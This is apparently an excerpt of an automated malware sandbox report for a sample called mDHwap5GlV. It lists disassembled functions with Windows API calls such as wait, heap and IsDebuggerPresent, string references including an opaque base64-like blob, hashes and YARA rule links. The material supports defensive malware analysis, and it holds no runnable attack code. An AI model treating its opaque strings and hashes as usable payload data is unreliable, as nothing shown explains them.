Instruction Fuzzy Hash: BB129B34A002299FDB14CF68E984BADBBB1FF59304F148179E849AB391DB719D85CF80

Function 00A26BA0 Relevance: 18.1, APIs: 9, Strings: 1, Instructions: 571synchronizationCOMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 00A26F05
CoWaitForMultipleHandles.OLE32(-00000002,?,?,?,?), ref: 00A26F85
WaitForMultipleObjectsEx.KERNEL32(?,?,?,?,?), ref: 00A26FB5
GetTickCount64.KERNEL32 ref: 00A27008
GetLastError.KERNEL32 ref: 00A27048
WaitForSingleObject.KERNEL32(?,00000000), ref: 00A27094
GetTickCount64.KERNEL32 ref: 00A270C8
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00A27199
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,00A26A40), ref: 00A271EA

Part of subcall function 00A273D0: GetTickCount64.KERNEL32 ref: 00A274C2
Part of subcall function 00A273D0: SignalObjectAndWait.KERNEL32(?,?,?,?), ref: 00A274E6
Part of subcall function 00A273D0: GetTickCount64.KERNEL32 ref: 00A2753A

Strings

NotSupported_MaxWaitHandles_STA, xrefs: 00A2723E

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: Count64TickWait$Object$MultipleSingle$ErrorHandlesLastObjectsSignalqsort
String ID: NotSupported_MaxWaitHandles_STA
API String ID: 296535545-4026452055
Opcode ID: aa7aedbda709b70af295d1ba890aa6f6532519ba823d7012366379cd4fb2533b
Instruction ID: 2b0effd83fce757922f35751de0493d9999fbfac9ef4ab3a2f99557f25172127
Opcode Fuzzy Hash: aa7aedbda709b70af295d1ba890aa6f6532519ba823d7012366379cd4fb2533b
Instruction Fuzzy Hash: AB328D71E05229DFDB24CFACE944BADBBB1FF44314F244269E819AB291D730AD45CB90

Function 00C762E0 Relevance: 12.4, APIs: 7, Strings: 1, Instructions: 361memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 00C763CD
HeapFree.KERNEL32(00000000,?), ref: 00C76460
HeapFree.KERNEL32(00000000,?), ref: 00C764F0

Part of subcall function 00BC2010: GetProcessHeap.KERNEL32(89ECF510,?,00000000,00E37F30,000000FF,?,00000002,0096F0C3,?,00A251A5,?,89ECF510), ref: 00BC203E
Part of subcall function 00BC2010: RtlAllocateHeap.NTDLL(03310000,00000000,?,89ECF510,?,00000000,00E37F30,000000FF,?,00000002,0096F0C3,?,00A251A5,?,89ECF510), ref: 00BC205A

HeapFree.KERNEL32(00000000,?), ref: 00C7652B
HeapFree.KERNEL32(00000000,?), ref: 00C76657
HeapFree.KERNEL32(00000000,?), ref: 00C76732
HeapFree.KERNEL32(00000000,?), ref: 00C76749

Strings

NULL, xrefs: 00C76323

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: Heap$Free$AllocateProcess
String ID: NULL
API String ID: 1264717999-324932091
Opcode ID: 811c1cbb8f6c6534534d2eced7131c747c48c22ae73b14f1b33cbf2d4819892f
Instruction ID: 61e7d323749935fcc3eb99c5d842fc4ca712a4dd13e7d45846efd79c18888216
Opcode Fuzzy Hash: 811c1cbb8f6c6534534d2eced7131c747c48c22ae73b14f1b33cbf2d4819892f
Instruction Fuzzy Hash: 79D18831E006189FDB25DF74E855B9EBBF8AF04744F14812AE819FB251EB30AA41DF80

Function 09AD9EF0 Relevance: 8.2, APIs: 6, Instructions: 714COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2583359508.0000000009AD1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09AD0000, based on PE: true

Associated: 00000000.00000002.2583342989.0000000009AD0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2583382517.0000000009AF2000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2583398162.0000000009AF3000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2583414187.0000000009AF4000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ad0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e26d2d92e8338e437e48073079856152cc44bf88433c29a20cabc4e3dfc5745
Instruction ID: dc6e3c5fa8970ae1022dbbeaa8c453457a4137a405fed342ea5eefc5bbdbd0a8
Opcode Fuzzy Hash: 9e26d2d92e8338e437e48073079856152cc44bf88433c29a20cabc4e3dfc5745
Instruction Fuzzy Hash: CC424F74A01244CFCB08DFB4E4A866EBBF6FF89711B158129EC26D3354DB349846CB96

Function 00A7B280 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 427COMMON

Download Yara Rule

APIs

Part of subcall function 00A7B040: GetCurrentThreadId.KERNEL32 ref: 00A7B070
Part of subcall function 00A7B040: GetStdHandle.KERNEL32(000000F4), ref: 00A7B08F

wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000004,00000000,00000002,00000000,80131506,?), ref: 00A7B4C0

Part of subcall function 00B2F310: wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000004,00000000,89ECF510,80131506,00000002), ref: 00B2F3FF
Part of subcall function 00B2F310: HeapFree.KERNEL32(00000000,?,?,89ECF510,80131506,00000002), ref: 00B2F4B4

Strings

at IP 0x%1 (0x%2) with exit code 0x%3., xrefs: 00A7B661

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: wcscpy_s$CurrentFreeHandleHeapThread
String ID: at IP 0x%1 (0x%2) with exit code 0x%3.
API String ID: 3098302551-626988062
Opcode ID: 96bd7bbbfb07cd0b21670b67d3b0d979dade27ea6ef94779c3910e101ef19891
Instruction ID: 6f8ba3fbb3fe5a3c3475df71fa1158c71e944fb7065092877deab6a1b31d4984
Opcode Fuzzy Hash: 96bd7bbbfb07cd0b21670b67d3b0d979dade27ea6ef94779c3910e101ef19891
Instruction Fuzzy Hash: F91246B0914228DFEB21DF68CD59BDEBBB4AF05308F1081D9E449A7281DBB45E84CF61

Function 0A3E379B Relevance: 3.1, Strings: 2, Instructions: 613COMMON

Download Yara Rule

Strings

_)vM, xrefs: 0A3E3D33
tS4D42vyYJPYIRzUK14697k4qmMYiMS/h1sIkAA15wflVUHFYDoKPRaStnN+Vl+BQrFx9zsCxnJaDxTg2mLLmL/sfoHdqknVslCGHB5APp5/w79QLAKYpvPPjoepWaQNoKlntcZYuQFYwIbe3f1nensrllgPjCPRg2FxNAyfYp0gUui4JLUTk7vrzxZTcray2lnmKYmaPFDRJBiNs6Vll6OdSqxAjaRxubPHInfygEvlsU8JkuCk1zq5kRy5lRyJuzqJ, xrefs: 0A3E39AD

Memory Dump Source

Source File: 00000000.00000002.2586676294.000000000A3E1000.00000020.00000001.00040000.00000003.sdmp, Offset: 0A3E0000, based on PE: true

Associated: 00000000.00000002.2586658852.000000000A3E0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586878507.000000000A6B4000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586878507.000000000A6B9000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586878507.000000000A6BB000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586878507.000000000A6BF000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586878507.000000000A6C5000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2587013951.000000000A6C7000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2587076654.000000000A702000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a3e0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID: _)vM$tS4D42vyYJPYIRzUK14697k4qmMYiMS/h1sIkAA15wflVUHFYDoKPRaStnN+Vl+BQrFx9zsCxnJaDxTg2mLLmL/sfoHdqknVslCGHB5APp5/w79QLAKYpvPPjoepWaQNoKlntcZYuQFYwIbe3f1nensrllgPjCPRg2FxNAyfYp0gUui4JLUTk7vrzxZTcray2lnmKYmaPFDRJBiNs6Vll6OdSqxAjaRxubPHInfygEvlsU8JkuCk1zq5kRy5lRyJuzqJ
API String ID: 0-3413418074
Opcode ID: f2baf359b7c3d237fc3152bbd775576272974e81631bc6a65e0e6d6cdfe8a433
Instruction ID: 3b192c8ee52368821d5c13a5a9a4d3290671ab96491dcaa6150bd2bef0ac5b95
Opcode Fuzzy Hash: f2baf359b7c3d237fc3152bbd775576272974e81631bc6a65e0e6d6cdfe8a433
Instruction Fuzzy Hash: A41254720092A69FC317CF34DCA5AD6BFA4FF1731476849AED4C28B493D3229646CB91

Function 00B300D0 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00B300EB

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: DebuggerPresent
String ID:
API String ID: 1347740429-0
Opcode ID: d62d9dea0b0a4d4e9a6d59096052fa22a12380c5a3ffacb1874d836e2dd70408
Instruction ID: 9e5cd16c61fff37546b172dd986c6328b4879e447edea0df07316ebadc4847fb
Opcode Fuzzy Hash: d62d9dea0b0a4d4e9a6d59096052fa22a12380c5a3ffacb1874d836e2dd70408
Instruction Fuzzy Hash: 28F0EC306147084FDB15A66DB92A76133D8DF41305F2801E9EC04E7161EB729C58D781

Function 09F1D910 Relevance: .9, Instructions: 868COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15460afafffa7698200e528e587645c2ed5446b90daf26858f84592ee19f9899
Instruction ID: 3baf25435abbe7d84316f31c4664a7b37a02c0da459d1efe160c778243a0b8c4
Opcode Fuzzy Hash: 15460afafffa7698200e528e587645c2ed5446b90daf26858f84592ee19f9899
Instruction Fuzzy Hash: E1925076A00309CFDB24DF20E558A99BBB6FF48305F14866CE84A97790DB79AD85CF40

Function 09B69250 Relevance: .8, Instructions: 809COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2583583075.0000000009B61000.00000020.00000001.00040000.00000003.sdmp, Offset: 09B60000, based on PE: true

Associated: 00000000.00000002.2583527581.0000000009B60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2583606759.0000000009B8B000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2583623116.0000000009B8C000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2583638232.0000000009B8E000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b60000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eddc303d855d8a8291ecf3c872ba9ca102aa44d084780cd7fc8f1e9b1cf36345
Instruction ID: d7a037b130fe30ff569a1937e6a0409ed4d3a463201207de9b1e5f88faef8ede
Opcode Fuzzy Hash: eddc303d855d8a8291ecf3c872ba9ca102aa44d084780cd7fc8f1e9b1cf36345
Instruction Fuzzy Hash: DD720934A00269CFCB18DF74D498AAEBBB2FF8D321F1485A9E50697365DB34A845CF41

Function 09F41C30 Relevance: .6, Instructions: 650COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 370765a001bb0bf568eaaaabfa7eb56b15722ac83b2ba794b1a3c4a7ddd3bae0
Instruction ID: c3d931178e34da7395c1d81662d95077d7da7c148c20d52ff90a8a0d76d3cdfa
Opcode Fuzzy Hash: 370765a001bb0bf568eaaaabfa7eb56b15722ac83b2ba794b1a3c4a7ddd3bae0
Instruction Fuzzy Hash: 5E522E75E00219CFDB14CF64E954AADBBB2FF88300F148169E51AAB355DB35AD86CF80

Function 09F2A940 Relevance: .6, Instructions: 609COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20a2c6de3c3a93a1d0f45cea328ccd6b88c0f65a60c41f711c0683387cc89807
Instruction ID: 5405977c5219eb304df4908d83193a1703177b20c112cce00f1c849267da2500
Opcode Fuzzy Hash: 20a2c6de3c3a93a1d0f45cea328ccd6b88c0f65a60c41f711c0683387cc89807
Instruction Fuzzy Hash: 33524C32900619DFCB28DF60E858AA9B7B5FF45305F004958E84BEB691DB75BD4ACF80

Function 09F30880 Relevance: .5, Instructions: 538COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad29629cc9735492adb30060e615dd1d9fa069a81a831240f5a1f8525ca02fe2
Instruction ID: 1034651e1d2bc19ecadf8f1d301f33d9241ac20efc4e3ead9c9e64cbad69e1aa
Opcode Fuzzy Hash: ad29629cc9735492adb30060e615dd1d9fa069a81a831240f5a1f8525ca02fe2
Instruction Fuzzy Hash: 1E226176E00209DFCB04DF65E994AAEBBB6FF88300F14C129E50AE7254DB399D46CB50

Function 09F40100 Relevance: .5, Instructions: 513COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3641f4002b0e49eaee92a97876cc0c29e0c974906ae251b0e04f82dbb7a06543
Instruction ID: 4ea49cdfb33022897bdf8e3046b6e71e66c42fd102eae45082f734bef3531013
Opcode Fuzzy Hash: 3641f4002b0e49eaee92a97876cc0c29e0c974906ae251b0e04f82dbb7a06543
Instruction Fuzzy Hash: EC324C72D00319CFDB24CF60E958BA9BBB5FF48310F1485A9E50AAB290DB75AD85CF40

Function 09F5DD30 Relevance: .5, Instructions: 504COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7850ae0ce20c20205b85ad565c99b46c8f21165128252ac3d3f88a32cd23b70c
Instruction ID: acd211e30fe99541710e30cb931d4e3143e25702bba24774d261dcac928a915a
Opcode Fuzzy Hash: 7850ae0ce20c20205b85ad565c99b46c8f21165128252ac3d3f88a32cd23b70c
Instruction Fuzzy Hash: 89125C76E012299FCB14CFA8E9845ADBBB2FF88311F15416AE906F7384D7346D41CBA0

Function 09F40BE0 Relevance: .4, Instructions: 404COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63b890ba2b1a2b28991de8dbd7ff03425c54f10cfb92bae5b01c67664fb18087
Instruction ID: c407c949167994919056c04a9534af8b97eef6ea595a9f43198987280d883f1a
Opcode Fuzzy Hash: 63b890ba2b1a2b28991de8dbd7ff03425c54f10cfb92bae5b01c67664fb18087
Instruction Fuzzy Hash: 9A126036E00609CFDB24DF24E958BA9BBB6FF48305F1446A9E50AE7290CB756D85CF40

Function 09F4B0E0 Relevance: .4, Instructions: 376COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab6d7ebee22a66f487988474c3dca19d327533a4295404c3eba2c140cd842ccc
Instruction ID: ea6003319abc756f84f536d331656efcbf6f5941554dc50b0d710142b653f43c
Opcode Fuzzy Hash: ab6d7ebee22a66f487988474c3dca19d327533a4295404c3eba2c140cd842ccc
Instruction Fuzzy Hash: F3F14C76A00209DFDB19DF61E598A6DBBB6FF88305F148129E406DB2A1DB79DC42CF40

Function 09F3BCE0 Relevance: .4, Instructions: 356COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f773f5383ec165914c2997f9bf7d220ddbf6caf4c36bf379157e52960162a31b
Instruction ID: b16e6821728fd4584a02fe717adc67451c3ded01da1dae795f3707c053228fb3
Opcode Fuzzy Hash: f773f5383ec165914c2997f9bf7d220ddbf6caf4c36bf379157e52960162a31b
Instruction Fuzzy Hash: CAF17176E0021ACFCB14CF64E994A99BBB6FF48300F14C199E50AEB255CB35AD86CF50

Function 09F3C850 Relevance: .3, Instructions: 314COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e42e55b93aa1eaa9c653b0b9c5a46824264feef7067a81044a5ba3f4e94af6ee
Instruction ID: c55bc3c67339ec4ad0a30d9b1bf843d4a68dbd02c9290540b9d6672baed204fc
Opcode Fuzzy Hash: e42e55b93aa1eaa9c653b0b9c5a46824264feef7067a81044a5ba3f4e94af6ee
Instruction Fuzzy Hash: 4CE15D72D00719CFDB24CF64D944B99BBB6FF88300F1486A9E849AB250D775AE86CF50

Function 09F3A940 Relevance: .3, Instructions: 297COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 632cb542c460daf2eed5464ec26d843b9af69e074e686223b8268576fcd53c0c
Instruction ID: a568aa6936898ae85865742ed6776877be18c0905c89f7d22e8c74b92371e141
Opcode Fuzzy Hash: 632cb542c460daf2eed5464ec26d843b9af69e074e686223b8268576fcd53c0c
Instruction Fuzzy Hash: 3BE13A7690065ACFCB24CF25D954B9ABBB2BF48304F00C69DE44EA7651DB35AE86CF40

Function 09F0B710 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3a8324e473a9a39a221be87fe4aa2623ebd253636021fc128cdba0f9c877317
